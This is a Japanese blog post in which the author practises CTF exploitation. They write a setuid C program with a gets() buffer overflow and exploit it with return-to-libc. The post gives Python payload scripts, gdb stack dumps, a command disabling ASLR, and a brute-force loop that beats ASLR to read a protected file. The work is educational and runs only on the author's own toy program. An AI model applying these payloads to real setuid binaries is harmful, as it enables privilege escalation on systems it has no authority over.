CTF Exploitの練習

CTF(セキュリティ関係のクイズ)でExploit(プログラムの脆弱性を突く)問題がさっぱり解けないので、練習した。

問題

こんな問題を自作した。

[kusano@madoka exploittest]$ ll
合計 16
-rwsrwxr-x 1 secret secret 5078 2011-10-05 23:50 crypt
-rw-rw-r-- 1 secret secret  141 2011-10-05 23:49 crypt.cpp
-rw------- 1 secret secret   88 2011-10-05 23:56 secret.txt

crypt.cpp

#include <stdio.h>
#include <string.h>

int main()
{
    char buf[256];
    gets( buf );
    memfrob( buf, strlen(buf) );
    puts( buf );
}

これは入力された文字列を暗号化して出力するだけのプログラム。memfrobはstring.hで宣言されている、各文字ごとに42(0x2a)とのxorをとるだけの関数。実行の様子。

[kusano@madoka exploittest]$ ./crypt
I_Love_You
cufE\OusE_
[kusano@madoka exploittest]$ ./crypt
cufE\OusE_
I_Love_You

cryptには256文字以上の文字列が入力されると、バッファオーバーランが発生する脆弱性がある。

[kusano@madoka exploittest]$ ./crypt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
Segmentation fault

所有者がsecretでsuidされているので、その脆弱性を突いてsecretの権限を奪取し、secretしか読めないファイルsecret.txtが読めれば成功。

具体的には、

execl("/bin/cat","/bin/cat","/home/kusano/exploittest/secret.txt",NULL)

が実行できれば良い。systemだと、単に呼ぶだけではだめで、

setuid(0)
system("/bin/cat /home/kusano/exploittest/secret.txt")

と先にsetuidを呼ぶ必要があるらしい。参考。今回はcryptの所有者がrootではなく一般ユーザーで、一般ユーザーは実ユーザーIDを変更できないから、systemを使うのは無理? 良く分からん。

2014/08/03 追記
setreuidを使えば良いらしい。
setuidのプログラムからシェルを起動する - kusano_kの日記

難しい所

バッファオーバーランは有名な脆弱性で攻撃方法もあちこちで解説されている。IPAの資料がとても分かりやすい。政府機関が、こんなハッキングの方法を詳しく書いた資料を公開して良いのかと心配になるくらい。

6-1. バッファオーバーラン その1「こうして起こる」

でも、これをそのまま実行しようとしても、今時のOSには色々対策が施されていて成功しない。プログラムを動かしているのは、特にセキュリティに気を使うこともなくデフォルトのままのFedora

アドレス空間配置のランダム化(ASLR)

IPAの解説では、リターンアドレスを送り込んだシェルコードのアドレス(0xbffff74c)で上書きしているけど、ASLRという仕組みがあって、シェルコードが置かれるスタックのアドレスが実行する度に変わる。printfなどの関数の本体のアドレスも毎回変わる。下のプログラムではスタックに確保した変数aとprintfのアドレスを表示している。自分のプログラム中の関数のアドレスは、コンパイル時に-fPIEというオプションを指定しない限りは、変わらない。

[kusano@madoka exploittest]$ cat aslr.cpp
#include <stdio.h>
int main()
{
    int a;
    printf("a     : %010p\n",&a);
    printf("printf: %010p\n", **(int **)((char *)printf+2) );
    printf("main  : %010p\n",main);
}
[kusano@madoka exploittest]$ g++ -m32 aslr.cpp -o aslr
[kusano@madoka exploittest]$ ./aslr
a     : 0xffc10c8c
printf: 0x001596e0
main  : 0x08048414
[kusano@madoka exploittest]$ ./aslr
a     : 0xffe06e7c
printf: 0x00b586e0
main  : 0x08048414
[kusano@madoka exploittest]$ ./aslr
a     : 0xfffaa06c
printf: 0x001596e0
main  : 0x08048414
スタックが実効できない

そもそもスタックに置いたコードが実行できない。文字列定数なら実行できるけれど、スタック上の変数(f)に代入するとダメ。謎の文字列は、Short Coding 〜職人達の技法〜に載っていた、整数を比較する関数。

[kusano@madoka exploittest]$ cat > stack.cpp
#include <stdio.h>
#include <stdlib.h>

int main()
{
    int a[] = {2,5,6,0,3,7,4,1};
    //const char *f = "YXZQQQ\x8b\0+\x02\xc3";  //  動く
    char f[] = "YXZQQQ\x8b\0+\x02\xc3";         //  動かない
    qsort(a,8,sizeof (int),(int(*)(const void *,const void*))f);
    for ( int i=0; i<4; i++ )
        printf(" %d",a[i]);
    printf("\n");
}
[kusano@madoka exploittest]$ g++ -m32 stack.cpp -o stack
[kusano@madoka exploittest]$ ./stack
Segmentation fault
プログラムを書き換えられない

スタックに書いたコードが実行できないならば、なんとかしてプログラムを書き換えよう、と思ってもプログラムが書き換えられない。

[kusano@madoka exploittest]$ cat > code.cpp
#include <stdio.h>

int f(int a,int b) { return a+b; }

int main()
{
    *(int *)f = 123;
    printf("ok");
}
[kusano@madoka exploittest]$ g++ -m32 code.cpp -o code
[kusano@madoka exploittest]$ ./code
Segmentation fault

ASLR無効

まずは、ASLRを無効にした状態での攻撃成功を目指す。

[kusano@madoka exploittest]$ sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
[kusano@madoka exploittest]$ ./aslr
a     : 0xffffd70c
printf: 0x002ad6e0
main  : 0x08048414
[kusano@madoka exploittest]$ ./aslr
a     : 0xffffd70c
printf: 0x002ad6e0
main  : 0x08048414

Return-to-libc攻撃という手法がある。要は、リターンアドレスを、シェルコードのアドレスではなく、execlのアドレスにして、スタックをexeclを呼び出すときと同じ状態にすれば良い。実行されるのはスタックに置いたコードではなく、execl。

gdbを使って、execlのアドレスを調べる。

[kusano@madoka exploittest]$ gdb crypt
(略)
(gdb) start
(略)
(gdb) p execl
$1 = {<text variable, no debug info>} 0x300670 <execl>

execl = 0x300670 ....〆(・ω・` )メモメモ

文字列"/bin/cat"と"/home/kusano/exploittest/secret.txt"は引数を使ってメモリに置くことにする。どこのアドレスに置かれるかは、実行するときのデバッガの有無などで変わるので、一度実行して落として、コアダンプを調べる。suidされたプログラムはコアダンプを出力しなかったので、別ファイルにコピー。

[kusano@madoka exploittest]$ ulimit -c unlimited
[kusano@madoka exploittest]$ cp crypt crypt2
[kusano@madoka exploittest]$ ./crypt2 /bin/cat /home/kusano/exploittest/secret.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
Segmentation fault (コアダンプ)
[kusano@madoka exploittest]$ gdb core.23630
(略)
(gdb) x/1024xb $esp
(略)
0xffffd8b0:     0x00    0x00    0x2e    0x2f    0x63    0x72    0x79    0x70
0xffffd8b8:     0x74    0x00    0x2f    0x62    0x69    0x6e    0x2f    0x63
0xffffd8c0:     0x61    0x74    0x00    0x2f    0x68    0x6f    0x6d    0x65
0xffffd8c8:     0x2f    0x6b    0x75    0x73    0x61    0x6e    0x6f    0x2f
0xffffd8d0:     0x65    0x78    0x70    0x6c    0x6f    0x69    0x74    0x74
0xffffd8d8:     0x65    0x73    0x74    0x2f    0x73    0x65    0x63    0x72
0xffffd8e0:     0x65    0x74    0x2e    0x74    0x78    0x74    0x00    0x48
0xffffd8e8:     0x4f    0x53    0x54    0x4e    0x41    0x4d    0x45    0x3d

/bin/cat = 0xffffd8ba /home/kusano/ = 0xffffd8c3 ....〆(・ω・` )メモメモ

ということで、バッファオーバーランで次のスタックの状態を作れば良い。

0x00300670 ←この位置にmainからのリターンアドレスがある
0xdeadbeef ←なんでも良い
0xffffd8ba
0xffffd8ba
0xffffd8c3
0x00000000

攻撃。memfrobでxor 42されるので、あらかじめxor 42しておく。真面目に計算するのが面倒なのでaの個数は適当に色々試した。

[kusano@madoka exploittest]$ cat attack.py
#!/usr/bin/python
from struct import pack
a = [
    0x00300670,
    0xdeadbeef,
    0xffffd8ba,
    0xffffd8ba,
    0xffffd8c3,
    0x00000000,
]
print "a"*268+"".join(chr(ord(x)^42) for x in pack("I"*len(a),*a))
[kusano@madoka exploittest]$ ./attack.py | ./crypt /bin/cat /home/kusano/exploittest/secre
t.txt
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKp0
ライオンは、死を縫合する峡谷で新たなる思想に出会うだろう。
[kusano@madoka exploittest]$ sudo cat secret.txt
ライオンは、死を縫合する峡谷で新たなる思想に出会うだろう。

成功。キタ━━━━━━(゚∀゚)━━━━━━ !!

ASLR有効

ASLRを有効にする。

[kusano@madoka exploittest]$ sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"
[sudo] password for kusano:
[kusano@madoka exploittest]$ ./aslr
a     : 0xffccf6bc
printf: 0x002466e0
main  : 0x08048414
[kusano@madoka exploittest]$ ./aslr
a     : 0xffb0849c
printf: 0x00d376e0
main  : 0x08048414

スタックのアドレスが実行ごとに変化するので、先ほどのように攻撃コードにexeclの引数のアドレスを書くことができない。引数にしたいアドレスがスタック上にある場合にはそれを利用すれば良いらしい。今回はプログラムの引数としてexeclの引数を渡すことにしたので、/bin/catを2回渡せば、ちょうどmainの引数のargvが使える。

[kusano@madoka exploittest]$ python -c "print 'a'*300" | ./crypt2 /bin/cat /bin/cat /home/
kusano/exploittest/secret.txt
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
Segmentation fault (コアダンプ)
[kusano@madoka exploittest]$ gdb core.23787
(略)
(gdb) x/2048xw $esp-512
(略)
0xffc97140:     0xffc97150      0x0000012c      0x00ab351c      0x00000004
0xffc97150:     0x4b4b4b4b      0x4b4b4b4b      0x4b4b4b4b      0x4b4b4b4b
0xffc97160:     0x4b4b4b4b      0x4b4b4b4b      0x4b4b4b4b      0x4b4b4b4b
(略)
0xffc972f0:     0x08048540      0x00aa3d50      0xffc972fc      0x00ab3900
0xffc97300:     0x00000004      0xffc978a6      0xffc978af      0xffc978b8
0xffc97310:     0xffc978c1      0x00000000      0xffc978e5      0xffc978f5
0xffc97320:     0xffc97900      0xffc97910      0xffc9791e      0xffc97943
(略)
0xffc97890:     0x00000000      0x00000000      0x00000000      0x00000000
0xffc978a0:     0x00000000      0x2f2e0000      0x70797263      0x2f003274
0xffc978b0:     0x2f6e6962      0x00746163      0x6e69622f      0x7461632f
0xffc978c0:     0x6f682f00      0x6b2f656d      0x6e617375      0x78652f6f
0xffc978d0:     0x696f6c70      0x73657474      0x65732f74      0x74657263
0xffc978e0:     0x7478742e      0x534f4800      0x4d414e54      0x616d3d45
0xffc978f0:     0x616b6f64      0x52455400      0x74783d4d      0x006d7265

bufのアドレスが0xffc97150、(ASLR無しの成功例から)リターンアドレスが0xffc97150+0x10c、/bin/cat(0xffc978af, 0xffc978b8)を示すポインタのアドレスが0xffc97308と0xffc9730c、/home/kusano/exploittest/secret.txt(0xffc978c1)を示すポインタのアドレスが0xffc97310。これらのアドレスの相対位置はASLRが有効でも変化しない。argvのあるところまでスタックを進めるためには、retのアドレスを詰めておけば良い。

[kusano@madoka exploittest]$ gdb crypt
(略)
(gdb) disass main
Dump of assembler code for function main:
   0x08048494 <+0>:     push   %ebp
(略)
   0x080484da <+70>:    ret
End of assembler dump.

ret = 0x080484da ....〆(・ω・` )メモメモ

バッファオーバーランによって、スタックを↓のようにする。bufの開始位置を起点にした相対アドレス。

0x0000: 0x4b4b4b4b ← bufの開始位置
0x0004: 0x4b4b4b4b
 :
0x0108: 0x4b4b4b4b
0x010c: 0x080484da ← リターンアドレス
0x0110: 0x080484da
0x0114: 0x080484da
 :
0x01ac: 0x080484da
0x01b0: 0x???????? ← ここにexeclのアドレスを入れる
0x01b4: 0xffc348af
0x01b8: 0xffc348b8 ← (/bin/cat)元々この値
0x01bc: 0xffc348b8 ← (/bin/cat)元々この値
0x01c0: 0xffc348c1 ← (/home/kusano/exploittest/secret.txt)元々この値
0x01c4: 0x00000000 ← 元々この値

これでスタックのアドレスに依存せずに攻撃できる。後はexeclのアドレスだが、数打てば当たるらしい。上位8ビットは0(Ascii armor)だし、下位12ビットは固定なので、それほど自由度が無いと。

[kusano@madoka exploittest]$ gdb crypt
(略)
(gdb) start
(略)
(gdb) p execl
$1 = {<text variable, no debug info>} 0x367670 <execl>

攻撃。変な処理に飛ぶ可能性があるから、別のユーザーで実行した方がいいのかも。

[kusano@madoka exploittest]$ cat attack.py
#!/usr/bin/python
from struct import pack
a = [0x4b4b4b4b]*0x43+[0x080484da]*0x29+[0x00367670]
print "".join(chr(ord(x)^42) for x in pack("I"*len(a),*a))
[kusano@madoka exploittest]$ for a in $(seq 1 10000)
> do
> echo $a
> if ./attack.py | ./crypt /bin/cat /bin/cat /home/kusano/exploittest/secret.txt
> then
> break
> fi
> done
0
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKpv
6
Segmentation fault
1
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKpv
6
Segmentation fault
2
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKpv
6
Segmentation fault
3
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKpv
6
Segmentation fault
(略)
1726
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKpv
6
ライオンは、死を縫合する峡谷で新たなる思想に出会うだろう。

キタ━━━━━━(゚∀゚)━━━━━━ !! 今回は攻撃文字列中の\0が最後だけなので、memfrobが無くても、攻撃が可能なはず。